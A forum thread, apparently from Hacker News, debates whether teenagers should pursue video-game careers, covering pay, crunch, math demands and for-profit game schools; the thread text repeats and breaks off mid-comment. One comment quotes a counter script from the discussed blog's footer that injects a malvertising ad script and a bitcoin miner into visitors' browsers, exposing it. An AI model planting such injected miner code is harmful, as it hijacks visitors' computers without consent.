7 ms·

So your teenager tells you they want to 'make video games' for a living

75 points by mindstab 14y ago

unimpressive 14y ago
Funny story. I wanted to make video games, until I learned all about the prerequisites to do it. You might think I balked and bailed. But the reality is I found out that the stuff that goes into making a modern AAA video game is way more interesting than the resulting product. I now consider wanting to make video games a negative indicator of ever actually doing so professionally, even if the person understands the requirements to do so. Especially if they understand them in fact.
- dkersten 14y ago
  Not too different to what happened to me. I'm now technical cofounder of a machine learning heavy analytics startup. I still think about making games sometimes, but then I go back to thinking about and working on data mining and machine learning and I don't regret a thing :)
rikacomet 14y ago
I wanted to make video games in high school, I was not deterred by the pre-requisites, but rather found more interesting things to do in life. Now it seems that I want to be an Entrepreneur.
- dlhavema 14y ago
  i want to be an Entrepreneur too, is anyone hiring?
  - deleted 14y ago
    [deleted]
kybernetyk 14y ago
I wanted to make games and that's how I got into programming. I dropped the game part a few years after that but I kept programming. If a grey haired computer programmer would have told my 12 year old self "just give up because you're not a math genius" I probably wouldn't be a programmer today. So no, don't tell kids they shouldn't want to make games. Because making games is a gateway drug for programmers.
- andrewroycarter 14y ago
  Same experience here! Got started with Qbasic games -> web dev -> iOS
- outworlder 14y ago
  This is not what the author said. He said that you should give up on 'the industry', and you'd have a better chance of creating a best-seller on iOS than landing a job in a studio. The math requirements are very different if we are talking about triple-A games vs an iOS tower defense.
- ANTSANTS 14y ago
  I don't think the author intended this advice for passionate, eager to learn 12 year olds. I think it's targeted towards dangerously naive teenagers who are close to leaving high school with no experience, marketable skills, poor grades, and/or little idea of what they want to study if they go to college, but know they love video games, and are about to be suckered into wasting their youth and parents' money by "game design schools" that emptily promise to turn them into rockstar game-creating wizards. It pains me to describe them this way, because I was friends with many kids like that in high school, but that's what they were: Naive kids who never tried to learn anything on their own or even figure out if the field was something they would actually enjoy working in, but instead held onto a fragile dream while playing video games and masturbating, truly believing that they could just sit on their asses for years and wait for a university or "game design school" to turn them into talented in-demand professional. "Waiting for superman," if you will. It's totally different for those young enough not to have high school graduation looming over their head. In between the ages of 12 and 17, a middle class kid has a simply mind boggling amount of free time that most people end up utterly wasting most of (myself sadly included). Your kid is doing well by 99% of their peers if they spend a few days or weeks make a pong or breakout clone, drawing character designs, composing a diddy in a tracker, or even spending months on a working project they never finish. The proper response to the words "I want to make video games" coming out of an elementary, middle, or early high school student's mouth is, I believe, "You know, you're actually perfectly capable of making them right now! It's hard work and you'll learn a lot along the way, but you could totally make something like Space Invaders with a couple weeks of effort, and who know where you'll go from there! Just put your dream game on the back burner for now; you've gotta learn to walk before you can run. Come on, let's go download Love2D (or use some BASIC or GameMaker or JavaScript + canvas or whatever)..." If they don't give up early and learn: * That the joy and practice of creating things is almost completely divorced from the act of consuming it * That creating and understanding even simple things like Pong clones feels incredibly rewarding * How to teach and train themselves * To prioritize creative pursuits and learning new things over empty pleasures even 10% of the time you can be certain they'll go places, whether or not they follow their childhood dream of making video games.
BryantD 14y ago
That's a great piece. Cranky but good. I will offer one disagreement: he's thinking about single-player games. There're also good jobs available on the server side for any online game (which is almost all of them these days). Server engineers don't need as much math as game programmers, and there are a lot of system and network administrators working in the game industry. Making games? Not exactly, but certainly working in gaming, with all the pros and cons that go with it.
- cuppy 14y ago
  There are also web programmers in the game industry.
  - BryantD 14y ago
    Yes! Excellent point. Note also that all those careers are fungible insofar as you can take those skills outside the gaming industry relatively easily.
- SoftwareMaven 14y ago
  My work on League of Legends came as a direct result of a contract gig building an extranet for a gas pipeline company: Java and Activescript is Java and Activescript. In fact, you could argue we were solving the much harder problems in that game, since we had to deal with the massive scaling, while the game engine only had to deal with 10 people at a time.
  - jacques_chester 14y ago
    Though the problem space is already partitioned for you, to some extent, on a per-game basis. Have you written anything on it?
    - SoftwareMaven 14y ago
      The game is partitioned, but the lobby is not. The lobby is where all the concurrent players have to split into groups of roughly similar capabilities while now allowing anybody to wait too long. Our team was responsible for partitioning things for the game team. I haven't written anything on it. I'm not convinced my piece of it was really interesting enough to warrant it. :) There were a lot of far smarter people than I on the team (it was one of the best software engineering teams I've ever worked on).
duskwuff 14y ago
Web counter script on this page tries to load a Java BitCoin miner. Classy. (Not.) (Isn't CPU-based mining basically pointless nowadays?)
- unimpressive 14y ago
  Not if it's somebody elses CPU your using.
- RobotCaleb 14y ago
  I've thought about that but it feels too dirty. I am not surprised someone has already done so.
pnathan 14y ago
I wanted to make video games until I realized the really interesting innovations were done decades prior to seeing them in video games. The games I wanted to make were (and are) incredibly far beyond the capacity of desktops, so it was sort of a moot point anyway. Teenage dreams. But today I really enjoy the 'game' of understanding code and I like the fact that my work contributes materially to better living around the planet.
learc83 14y ago
You don't need to be a math genius to program games. The vast majority of programmers at game companies aren't working on graphics or physics. The author makes it seem like you need to be a math genius to even get a CS degree. You definitely need math, but you don't need to be a genius, just willing to work hard.
kosei 14y ago
I think it's a realistic (if a little pessimistic) point of view. I personally don't believe that talent is "born" and that it can't be taught, but it's likely that if you get to college and weren't passionate enough to become talented by then, the odds are likely stacked against you.
kosei 14y ago
As a non-programmer, non-artist working in the games industry - the best advice I can give is to become very good at a different craft, then move your way into the industry with experience. That goes for marketers, writers, analysts, etc. Transfer in with 5-10 years experience from somewhere else. It's much easier than applying with a hundred other applicants saying "I have no real world experience, but I really love playing video games". The only other real option is starting in QA, but prepare yourself for a $20-40K base salary with an incredibly limited career track unless you move out of QA into becoming an AP.
deleted 14y ago
[deleted]
klrr 14y ago
Altough I agree with most stuff, I would rather form it so it encourage kids to start early. Starting early is what "talent" really are, the ability to learn.
jmomo 14y ago
I worked in the video game industry for about six years. I worked for both major publishers and some startup MMOs. Specifically, I was doing online infrastructure kind of stuff. The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about to happen and wisely jumped ship. I just happened to land with a company in Denver Colorado who was producing an MMO game as a startup, and they had no clue about how to actually get their product on the internet, or where/how to buy or manage server infrastructure. I worked for a major publisher who was booming at the time, making tons of money. I also worked for a number of startups who went ended up going chapter 7, chapter 11, and one got sold out to an Asian firm who immediately told everyone to move to South Korea or get laid off. When I left the gaming industry, the following things immediately happened: I made 20% more money, instantly. The gaming industry pays lower than average wages in most cases, across the board. This is a supply and demand problem: there is a huge supply of goobers who want to make video games for a living, and a limited number of employers willing to pay them to do it. I worked 20-40% less hours. Just about in every department in every company I worked for, people kept sleeping bags under their desks, had no lives outside of work, were present on weekends, and put in 50-80 hour work weeks. I once literally lived and slept in my office for two weeks, except when I went home to shower and check on things for an hour or two per week. That is what pushed me over the edge and when I finally quit. My psychological health improved. I was happier, less stressed out, and stopped getting angry over little things. When I think back about it, the gaming industry basically gave me PTSD. My physical health improved. I started putting on muscle weight, I was less tired, and a number of persistent physical issues went away. For example, I had a bad habit of biting my tongue, possibly out of nervousness, which magically went away immediately. I started working with more talented, competent, people. I didn't realize just how unprofessional and disorganized some of the people I was working with were until I had another reference point again. As I shifted from being a server monkey to programmer, I realized that most of the developer guys had never worked in another industry before, were high-school and college drop-outs, and most of their code was crap. I saw from the inside a huge multi-mullion dollar Atari-funded game studio go down in flames because the developers didn't know that you can't use disk drives as a CPU: they built almost all of their MMO item inventory logic into SQL triggers and events. Let's not even talk about sexism and anti-social behavior. Employment stability went way up. The gaming industry is very unstable, and companies crash and burn all the time. There is a constant flow of new startups who fail every year without ever having shipped/published a product. Unsurprisingly, most people don't want to hear this negativity about the industry. The people who I know still work in the industry don't argue that I'm wrong, but instead argue that it's the price you pay for doing what you want (note: most of these people seem pretty miserable to me). It's not a subject that I will often bring up, less I get a hostile reaction. After all, most of these people are emotionally bought in to the idea that they are the next John Carmack. The kids who want to get into the gaming industry just ignore me or discount what I have to say. What else are they going to do? They can't even imagine getting a job in some boring industry like finance, government, manufacturing, health care, retail, or any of that nonsense. And that brings us to the gaming schools. Like I said before, it's a supply and demand thing. There is a huge supply of kids who want to make video games, and not enough employers for them all. It's kind of like little boys who want to grow up and be astronauts, and little girls who want to me marine biologists. The numbers say it ain't gunna happen for most of them. There is indeed money to be made in the gaming industry, but it's not in working inside of it. It's in selling the dream that all these dumb kids have, thinking they can grow up and make video games for a living. I don't really have much good to say about working in the gaming industry. I met some cool people there, but as a whole, it's just an immature bunch of kids who have not grown up and gotten real jobs yet.
mark-r 14y ago
Be sure to read the follow-up: http://codesuppository.blogspot.com/2013/04/some-clarifications-on-my-previous-post.html http://codesuppository.blogspot.com/2013/04/some-clarificati... My favorite part is at the end, where he gives news stories just from today about 3 gaming companies laying off masses of people.
ChuckMcM 14y ago
When your kid tells you this: "Most of the time this young person thinks their qualifications come from the fact that they really, really, like to play video games a lot; and I mean like a LOT." It gives you an opportunity to help them discover things they may be passionate about. Many times (not always of course) it isn't any game they like playing alot, it is a particular game or genre they like. The goal of exercise then is to think about what features or mechanics of that particular game make it so fascinating, and then looking for that same feature/mechanic in something that people pay for [1]. Is it the economy? Solving the mysteries? Developing the story line? Role playing and acting? Devising tactics? Optimizing dozens of variables? All these things are mechanics in computer games that can be found in non-game activities. It may be that the kid likes all sorts of games, but help them to see the thing they like over the delivery mechanism and they can make smarter choices down the road. [1] I did know a guy who liked playing WoW a lot and supported himself by selling gold and various and sundry rare and epic items. Again, more the exception and not the rule.
- Periodic 14y ago
  I think this is a great point about the usefulness of video games. A lot of school work is boring and presented poorly: memorize your history dates, solve these equations, write an essay critiquing an essay about something you don't care about. Think about what is testable in education and you'll find that is a lot of what gets taught. Do you find the economy of games fascinating? You might get one class on economics at the end of high school. Do you love building things in Minecraft and animating them with crazy redstone circuits? You'll be lucky if your high school has woodworking, metalworking or even art classes. Do you love exploring a game world? Your classes don't really have time to let you explore, please read the assigned materials. I was lucky enough to have a computer a home where I could write (terrible) console-based games and later build web sites. Originally I wanted to make games, but then I found that I actually loved servers and the ability to reach across the internet to get data from a computer thousands of miles away was even more fascinating.
auctiontheory 14y ago
Unnecessarily negative. If your teenager has a dream, let him/her do the hard work to achieve that dream. Along the way, life will happen, and that's fine. Following one's own dream is a vastly better option than meandering through life without any purpose, or in a parentally-decreed career. On a factual level, I know employees at many of the firms name-dropped in this article, and if they're super geniuses, they hide it well.
- jmharvey 14y ago
  The main thing he's railing against are the "video game design" degree/certificate programs that are constantly promoted on daytime TV. These programs will load your teenager up with debt while promising a dream career, but unless they're already extremely talented in art or math, they're probably not going to come out of the program with the skills they need to have a career in the video game industry. And if they do have the art or math talent, they'll be better off getting an education that's not video-game specific.
- ctdonath 14y ago
  Thing is, few will do the hard work necessary. Too many think "follow your dreams" means little more than "show up for class". Is it a dream, or is it a vague response to "what is your dream?" Is it his free-time choice?
jiggy2011 14y ago
Do you really have to be a math genius to work as a game dev? I can see you would need very solid math and physics to build the next gen 3d graphics/physics engines although I remember an interview with John Carmack where he said that even he wasn't as good a mathematician as people thought he was. Surely there's plenty of code that goes into games that isn't advanced linear algebra? Like code for networking , game saving/loading , menu systems , IAP payment systems etc. Stuff that probably has more in common with general web programming. It's also possible to buy or get for free various engines to do a lot of heavy lifting for you. Also some of the most popular games now are 2d or isometric, you could probably write a 2d game from scratch without much more than basic trigonometry , linear algebra and plenty of trial and error.
- Spellman 14y ago
  You may not need to be a math genius, but it severely limits what you can do. There are much fewer programmers working on game logic and many more resources devoted to graphics, physics, pathfinding, AI, tools, and so on. And if you aren't a high-powered dynamo, your chances of getting into the industry at all is low. Plus you may not use it, but the logical framework and understanding of math is crucial to developers in general. I have yet to meet a good software developer who wasn't at least competent at collegiate-level math.
  - EthanHeilman 14y ago
    From my limited experience writing simple crappy 3D engines and using pre-built engines such as Torque. You don't need much math knowledge at all. * If you actually writing an engine, maybe some linear algebra, calculus. OpenGL/DirectX provides quite a bit of this out of the box. Yes you need to develop some special skills but nothing amazing. * AI in games is generally heavily scripted. There is some use of common AI ideas in RTS games, for example Monte-Carlo Markov Chains was used in Dark Reign (I think Unreal tournament 2k4 did this as well). It's nothing fancy, most AI in games could be written by someone that took an undergraduate AI class. Writing AI is more about understanding the players expectation of the game. * Pathfinding is also heavily scripted. In many cases they will just define tracks for NPCs to move on, the NPCs will move to the nearest track and then follow it to their destination. >There are much fewer programmers working on game logic and many more resources devoted to graphics, physics, pathfinding, AI, tools, and so on. Many game companies are using an out of the box engine, the jobs are in scripting the game which is primarily game logic and backend stuff, just really boring game logic.
runawaybottle 14y ago
What about the good amount of kids that take part in the modding community? A lot of them aren't super geniuses, but they are passionate and competent and work on scripting existing engines, map-editors, and so forth. Is that not a viable route for aspiring game developers? It feels a little unfortunate if that's the case. This will sound astoundingly naive, I'm sure, but I really feel like our society is pretty cruel to young people between 18-25. If you fail in someway during these years, whether that be not getting into the right college, picking the right major, or picking the right career path, you do fall behind. It's one of the reasons articles like this even have to be written, to make sure young people don't waste time failing.
- dyselon 14y ago
  Modding is a great way to get in the industry, especially into the design jobs the OP claims don't exist.
gambiting 14y ago
"If your kid is not an expert at math, don't even bother discussing the subject of being a computer game programmer. It's a non-starter. " This. I am doing Games Engineering right now and the amount of maths is larger than I've ever done in my life.
- asmithmd1 14y ago
  Where are you "doing Games Engineering"
  - gambiting 14y ago
    Newcastle University(UK)
- zachlatta 14y ago
  From my experience in the industry you just need to know your linear algebra and calculus. What does this exorbitant "amount of maths" constitute?
  - gambiting 14y ago
    We had to write our own physics engine. Like completely from scratch. It's not extremely complicated maths, but there is lots of it and you need to understand how to apply it.
speeder 14y ago
Hello! I own a game company (www.kidoteca.com) and I still own legally a sorta bankrupt game company (www.agfgames.com don't expect much on that site, it is sorta bankrupt for a good reason). Also I worked with mobile games, and mobile apps that are not games at all. And I went to a game school (I have a bachelor degree in Game Design and Planning). First, the game industry as a whole, suck, the pay is HORRIBLE, HORRIBLE, HORRIBLE, HORRIBLE. One year when I was particularly cash strapped, I dumped the game industry and went to a normal mobile dev job. My wage jumped BLOODY FIVE FOLD (I am not kidding). Now that I am back working with games, I am earning half the money I was (some people might ask: why you are doing it? it is because I love doing what I do... and I won't switch unless someone offer me like 6 figures USD). Beside the huge pay gap, the game industry is also very toxic, full of crunch, and full of jerks. Some people say it has rampant sexism. It is not sexism, actually most guys are not sexist at all (actually it is easier to find white knights than misoginists), but it is filled with jerks of all kind, noone is safe, NO ONE. You will get bullied for being female, male, black, white, asian, red hair, black hair, bad teeth, too good teeth, rich, poor, too good Team Fortress 2 skills, too bad skills, not liking Minecraft, liking Minecraft... People will just hate you, period. It would be like living and working with 4chan 24/7 (or just look at the most popular game forum: NeoGAF) And finally, making games is HARD, DON'T do it because you think you like games you will like it, you will not, there are lots of boring tasks and crazy tasks. Do it only if you like what you have to do (or if you are good and can tolerate it). Also, as consequence of making games being HARD, expect failed projects, companies, jobs, even marriages, game industry has lots of those. And remember, although making games pushes you hard and forces you to learn a lot, you will find that your skills are quite unique and not much good for the rest of the market (With few exceptions of some specialities, like backend engineers or tool programmers), there are not much companies there wanting someone that can script levels in awesome ways, or that want a module file musician. And for coders, commonly in the game industry you might end learning Lua... Then good luck finding a non-game job that use that. All that said, I can say... Hell, I still love my job!
jamesaguilar 14y ago
> You do not go to college to 'learn' talent. You are either born with it or not. Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either. Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born with it comes in). But you will be a good one. And the same is true for most pursuits. There was a great forum post a while ago where some guy could barely put together a stick figure and three years later (after an hour a day, every day) he was making oil paintings that people would actually pay for. I can't remember where though. Anyway, that sort of thing has nothing to do with talent. It's hard work and sticking to it.
- jmelloy 14y ago
  Yeah, I wasn't a big fan of that portion of the argument either. (Same with the math bit). I definitely think "I show an aptitude for art and graphic design, and enjoy doing it, so I will attend college to learn and grow" trumps "I have some magical amount of god-given talent." But maybe that's because I never touched a compiler before college, and it hasn't affected my career.
- dasil003 14y ago
  Were you thinking of this? http://www.conceptart.org/showthread.php?t=870 http://www.conceptart.org/showthread.php?t=870
  - jamesaguilar 14y ago
    Same concept, but it wasn't this particular thread.
- pbaehr 14y ago
  I agree, but I think what you need to be born with is the passion that drives you to spend two hours a day from 12 to 22.
- dsfasfasf 14y ago
  I was with him until he said that. Is an excuse to give up on anything. You might as well believe in destiny and that your entire future has already been written. Who believes something like that? Seriously. Does he believe that that girl woke up one day and started drawing like that? He is wrong on this count. What you need is perseverance.
whiddershins 14y ago
That guy needs to read the talent code: http://www.amazon.com/Talent-Code-Greatness-born-ebook/dp/B0026OR1UK/ref=sr_1_1_bnp_1_kin?ie=UTF8&qid=1365033656&sr=8-1&keywords=the+talent+code http://www.amazon.com/Talent-Code-Greatness-born-ebook/dp/B0...
jacques_chester 14y ago
While I was still studying there, I volunteered for my alma mater's open day. Pretty much every teenage boy told me his ambition was to make games. To them I said "study as much maths as your school will teach", which led to crestfallen faces. To their parents I said "the games industry is terrible, but ours is a general computer science degree. Your boy will be able to get an entry-level job at any software firm". The girls who came through seemed to be more interested in software as a professional career. It was an interesting contrast.
Crake 14y ago
I know a lot of people who have for profit degrees. I can't think of even one that's not stuck in a dead end low paying job, constantly complaining on social media about how they can't seem to find a job that will put their "talent" to use. It's like they have no idea that for profit degrees are a great way to get your resume auto-chucked in the trash. (Good luck trying to talk to them about it though. Oh boy...)
michaelochurch 14y ago
I think that's more good than bad, as long as they intend to make video games. Start to finish, do something. 2d RPG on iOS? Go at it. That's a great motivation for getting into CS: wanting to make things. If they want to be "idea guys" who just go around saying, "dragons should be blue", then they need to be told that the world doesn't really work that way, and that "idea guys" who refuse to do real work are not seen as adults and generally loathed and pitied, not taken seriously. Real designers work, and hard, and most of the great designers are programmers or artists in addition. It's after college that they will realize that there are plenty of things more interesting than most video games: machine learning, scientific computing, compilers. But if video game design is the gateway drug, then that works. What a lot of young people need to consider is that "follow your passion" is the worst advice in the world. You shouldn't do something you hate, but if your work is what you've wanted to do since you were 5, you'll hate being a subordinate. Absolutely no one says, "a subordinate" when asked (at 5) what he wants to be when he grows up. If your passion causes you get into conflict with bikeshedding executives who have terrible ideas but can fire you, then avoid. That advice should be, "find work you enjoy, and transition to your passion when you're no longer a subordinate".
bane 14y ago
When I finally decided to go to college, I really wanted to do it to make games. I didn't learn much in college that would have translated directly into game programming, but I did learn a lot that translated directly into getting a decent job. Along the way I learned how computers work inside and out, from hardware to towers stacks of software abstraction, and found tons of other things I like to make even more than games. Now I play games for fun, which is better than the few of my friends who did go into the industry.
engtech 14y ago
Wow, this page tries to do a drive-by java install. Other comments say its to load a bitcoin harvester.
- blauwbilgorgel 14y ago
  In the footer: <script type="text/javascript" language="javascript" src= "http://www.ewebcounter.com/include/track.js"></script> <noscript><a href="http://www.ewebcounter.com/" target="_blank"> <img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt= "Website Activity" border="0"></a> </noscript>  www.ewebcounter.com/include/track.js: document.write('<scr'+'ipt type="text/javascript" src= "http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript" src= "http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript" src= "http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784) </scr'+'ipt>'); So a bitcoin miner AND an ad platform associated with malware/malvertising.
anonymousab 14y ago
You get them to figure out and write out the logic to pong. On paper. Then graduate them to actual programming, and help them along a bit. Tell them to experiment with pong when they get it going. Add more paddles. Add more balls. Add obstacles. Add whatever they think would be cool. A Richard Garriott has talked about, good game design is a critically difficult field. Get them experimenting with gameplay as related to the underlying engine before you ever push them to a game design school.
Jach 14y ago
My two cents: if you or your kid has any doubts about going to college because you're sick of the general school bullshit, and if you're wondering if things will be different at a game school, then save your money and time and don't go. Due to the nature of accreditation and schools wanting to make money thus letting/forcing students to use federal financial aid, they play by the same rules other colleges play by, and students will get the same crap as any other school. If you really want to be a game developer, now is the best time ever to forge your own path going down the Indie road. With some diligent networking you can even get picked up by the big boys--but by that time, you might not want to get anywhere near them. If you don't know what to learn or want more formally gained knowledge, go through the course catalog of one of the schools and get the books on those subjects. (The course catalogs will also convince you that you don't need to be that smart--to add to the video's advice, along with asking about graduated students' job placement, ask about current students' GPAs and what the most commonly failed classes are. I bet a calculus and physics course are among them.)
ChrisNorstrom 14y ago
I'm one the dumb kids that went to a game development school. That school was Full Sail University. Do NOT Go There. Full Sail has almost ALL the red flags that the article and video talk about. Including rushed "accelerated" courses, pumping out students, trying to teach us calculus in 1 month, trigonometry in 1 month, everything was so rushed. Classes were $3,000/month. Lab techs (assistants) played world of warcraft instead of helping us. I honestly have so many bad memories from Full Sail I really don't want to talk about it. The money wasted, the stress it caused me. I just feel overwhelmed with bad emotions. Just stay away from Full Sail. I went back in 2006, I doubt they've changed. Their marketing and advertising is amazing though... "Full Sail is not recognized by a regional accreditor or by the National Association of Schools of Art and Design. As a result, most traditional colleges would not honor credits earned by transferring Full Sail students or those who attempt to continue their studies after earning an associate degree from the university Read more: http://www.insidehighered.com/news/2012/01/24/romney-right-about-full-sail-university http://www.insidehighered.com/news/2012/01/24/romney-right-a...
teeja 14y ago
If they really have the chops and motivation (wishing for it doesn't make it so), it may be a valuable life experience for them to give it a try. If they "succeed" they've saved years of expensive tuition. If they "fail", then they'll have a lot better idea of what the real world's like ... always valuable when choosing a college major, if they go that way.
SeoxyS 14y ago
> There are lots of jobs in computer software where you do not, necessarily, have to be really, really, really, good at math. Computer games are not one of them. The article does not seem entirely objective to me. It seems to equate the entire game industry to the process and cycles big-budget triple-A titles go through. I ended up being a software architect in the game industry, doing pretty well, and I did all of that after dropping out of studying graphic design at art school. I've never been a math genius, or even a stellar student. I have a fairly well balanced lifestyle and am paid very well. I'm not saying this to brag. I just want to point out that a lot of the assumptions stated in this article are bullshit. You don't need to be great at math to be a game engineer. You don't need to finish a four-year degree at Stanford. If you're smart and can hustle, you'll do fine in the game (or any other) industry.
hmsimha 14y ago
obligatory cracked article on the terrible quality of video game school commercials: http://www.cracked.com/blog/the-6-stupidest-video-game-school-commercials/ http://www.cracked.com/blog/the-6-stupidest-video-game-schoo...

75 points by mindstab 14y ago

Funny story. I wanted to make video games, until I learned all about the prerequisites to do it. You might think I balked and bailed. But the reality is I found out that the stuff that goes into making a modern AAA video game is way more interesting than the resulting product. I now consider wanting to make video games a negative indicator of ever actually doing so professionally, even if the person understands the requirements to do so. Especially if they understand them in fact.

dkersten 14y ago
Not too different to what happened to me. I'm now technical cofounder of a machine learning heavy analytics startup. I still think about making games sometimes, but then I go back to thinking about and working on data mining and machine learning and I don't regret a thing :)

rikacomet 14y ago

I wanted to make video games in high school, I was not deterred by the pre-requisites, but rather found more interesting things to do in life. Now it seems that I want to be an Entrepreneur.

dlhavema 14y ago
i want to be an Entrepreneur too, is anyone hiring?
- deleted 14y ago
  [deleted]

kybernetyk 14y ago

I wanted to make games and that's how I got into programming. I dropped the game part a few years after that but I kept programming. If a grey haired computer programmer would have told my 12 year old self "just give up because you're not a math genius" I probably wouldn't be a programmer today. So no, don't tell kids they shouldn't want to make games. Because making games is a gateway drug for programmers.

andrewroycarter 14y ago
Same experience here! Got started with Qbasic games -> web dev -> iOS
outworlder 14y ago
This is not what the author said. He said that you should give up on 'the industry', and you'd have a better chance of creating a best-seller on iOS than landing a job in a studio. The math requirements are very different if we are talking about triple-A games vs an iOS tower defense.
ANTSANTS 14y ago
I don't think the author intended this advice for passionate, eager to learn 12 year olds. I think it's targeted towards dangerously naive teenagers who are close to leaving high school with no experience, marketable skills, poor grades, and/or little idea of what they want to study if they go to college, but know they love video games, and are about to be suckered into wasting their youth and parents' money by "game design schools" that emptily promise to turn them into rockstar game-creating wizards. It pains me to describe them this way, because I was friends with many kids like that in high school, but that's what they were: Naive kids who never tried to learn anything on their own or even figure out if the field was something they would actually enjoy working in, but instead held onto a fragile dream while playing video games and masturbating, truly believing that they could just sit on their asses for years and wait for a university or "game design school" to turn them into talented in-demand professional. "Waiting for superman," if you will. It's totally different for those young enough not to have high school graduation looming over their head. In between the ages of 12 and 17, a middle class kid has a simply mind boggling amount of free time that most people end up utterly wasting most of (myself sadly included). Your kid is doing well by 99% of their peers if they spend a few days or weeks make a pong or breakout clone, drawing character designs, composing a diddy in a tracker, or even spending months on a working project they never finish. The proper response to the words "I want to make video games" coming out of an elementary, middle, or early high school student's mouth is, I believe, "You know, you're actually perfectly capable of making them right now! It's hard work and you'll learn a lot along the way, but you could totally make something like Space Invaders with a couple weeks of effort, and who know where you'll go from there! Just put your dream game on the back burner for now; you've gotta learn to walk before you can run. Come on, let's go download Love2D (or use some BASIC or GameMaker or JavaScript + canvas or whatever)..." If they don't give up early and learn: * That the joy and practice of creating things is almost completely divorced from the act of consuming it * That creating and understanding even simple things like Pong clones feels incredibly rewarding * How to teach and train themselves * To prioritize creative pursuits and learning new things over empty pleasures even 10% of the time you can be certain they'll go places, whether or not they follow their childhood dream of making video games.

BryantD 14y ago

That's a great piece. Cranky but good. I will offer one disagreement: he's thinking about single-player games. There're also good jobs available on the server side for any online game (which is almost all of them these days). Server engineers don't need as much math as game programmers, and there are a lot of system and network administrators working in the game industry. Making games? Not exactly, but certainly working in gaming, with all the pros and cons that go with it.

cuppy 14y ago
There are also web programmers in the game industry.
- BryantD 14y ago
  Yes! Excellent point. Note also that all those careers are fungible insofar as you can take those skills outside the gaming industry relatively easily.
SoftwareMaven 14y ago
My work on League of Legends came as a direct result of a contract gig building an extranet for a gas pipeline company: Java and Activescript is Java and Activescript. In fact, you could argue we were solving the much harder problems in that game, since we had to deal with the massive scaling, while the game engine only had to deal with 10 people at a time.
- jacques_chester 14y ago
  Though the problem space is already partitioned for you, to some extent, on a per-game basis. Have you written anything on it?
  - SoftwareMaven 14y ago
    The game is partitioned, but the lobby is not. The lobby is where all the concurrent players have to split into groups of roughly similar capabilities while now allowing anybody to wait too long. Our team was responsible for partitioning things for the game team. I haven't written anything on it. I'm not convinced my piece of it was really interesting enough to warrant it. :) There were a lot of far smarter people than I on the team (it was one of the best software engineering teams I've ever worked on).

duskwuff 14y ago

Web counter script on this page tries to load a Java BitCoin miner. Classy. (Not.) (Isn't CPU-based mining basically pointless nowadays?)

unimpressive 14y ago
Not if it's somebody elses CPU your using.
RobotCaleb 14y ago
I've thought about that but it feels too dirty. I am not surprised someone has already done so.

pnathan 14y ago

I wanted to make video games until I realized the really interesting innovations were done decades prior to seeing them in video games. The games I wanted to make were (and are) incredibly far beyond the capacity of desktops, so it was sort of a moot point anyway. Teenage dreams. But today I really enjoy the 'game' of understanding code and I like the fact that my work contributes materially to better living around the planet.

learc83 14y ago

You don't need to be a math genius to program games. The vast majority of programmers at game companies aren't working on graphics or physics. The author makes it seem like you need to be a math genius to even get a CS degree. You definitely need math, but you don't need to be a genius, just willing to work hard.

kosei 14y ago

I think it's a realistic (if a little pessimistic) point of view. I personally don't believe that talent is "born" and that it can't be taught, but it's likely that if you get to college and weren't passionate enough to become talented by then, the odds are likely stacked against you.

kosei 14y ago

As a non-programmer, non-artist working in the games industry - the best advice I can give is to become very good at a different craft, then move your way into the industry with experience. That goes for marketers, writers, analysts, etc. Transfer in with 5-10 years experience from somewhere else. It's much easier than applying with a hundred other applicants saying "I have no real world experience, but I really love playing video games". The only other real option is starting in QA, but prepare yourself for a $20-40K base salary with an incredibly limited career track unless you move out of QA into becoming an AP.

deleted 14y ago

[deleted]

klrr 14y ago

Altough I agree with most stuff, I would rather form it so it encourage kids to start early. Starting early is what "talent" really are, the ability to learn.

jmomo 14y ago

I worked in the video game industry for about six years. I worked for both major publishers and some startup MMOs. Specifically, I was doing online infrastructure kind of stuff. The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about to happen and wisely jumped ship. I just happened to land with a company in Denver Colorado who was producing an MMO game as a startup, and they had no clue about how to actually get their product on the internet, or where/how to buy or manage server infrastructure. I worked for a major publisher who was booming at the time, making tons of money. I also worked for a number of startups who went ended up going chapter 7, chapter 11, and one got sold out to an Asian firm who immediately told everyone to move to South Korea or get laid off. When I left the gaming industry, the following things immediately happened: I made 20% more money, instantly. The gaming industry pays lower than average wages in most cases, across the board. This is a supply and demand problem: there is a huge supply of goobers who want to make video games for a living, and a limited number of employers willing to pay them to do it. I worked 20-40% less hours. Just about in every department in every company I worked for, people kept sleeping bags under their desks, had no lives outside of work, were present on weekends, and put in 50-80 hour work weeks. I once literally lived and slept in my office for two weeks, except when I went home to shower and check on things for an hour or two per week. That is what pushed me over the edge and when I finally quit. My psychological health improved. I was happier, less stressed out, and stopped getting angry over little things. When I think back about it, the gaming industry basically gave me PTSD. My physical health improved. I started putting on muscle weight, I was less tired, and a number of persistent physical issues went away. For example, I had a bad habit of biting my tongue, possibly out of nervousness, which magically went away immediately. I started working with more talented, competent, people. I didn't realize just how unprofessional and disorganized some of the people I was working with were until I had another reference point again. As I shifted from being a server monkey to programmer, I realized that most of the developer guys had never worked in another industry before, were high-school and college drop-outs, and most of their code was crap. I saw from the inside a huge multi-mullion dollar Atari-funded game studio go down in flames because the developers didn't know that you can't use disk drives as a CPU: they built almost all of their MMO item inventory logic into SQL triggers and events. Let's not even talk about sexism and anti-social behavior. Employment stability went way up. The gaming industry is very unstable, and companies crash and burn all the time. There is a constant flow of new startups who fail every year without ever having shipped/published a product. Unsurprisingly, most people don't want to hear this negativity about the industry. The people who I know still work in the industry don't argue that I'm wrong, but instead argue that it's the price you pay for doing what you want (note: most of these people seem pretty miserable to me). It's not a subject that I will often bring up, less I get a hostile reaction. After all, most of these people are emotionally bought in to the idea that they are the next John Carmack. The kids who want to get into the gaming industry just ignore me or discount what I have to say. What else are they going to do? They can't even imagine getting a job in 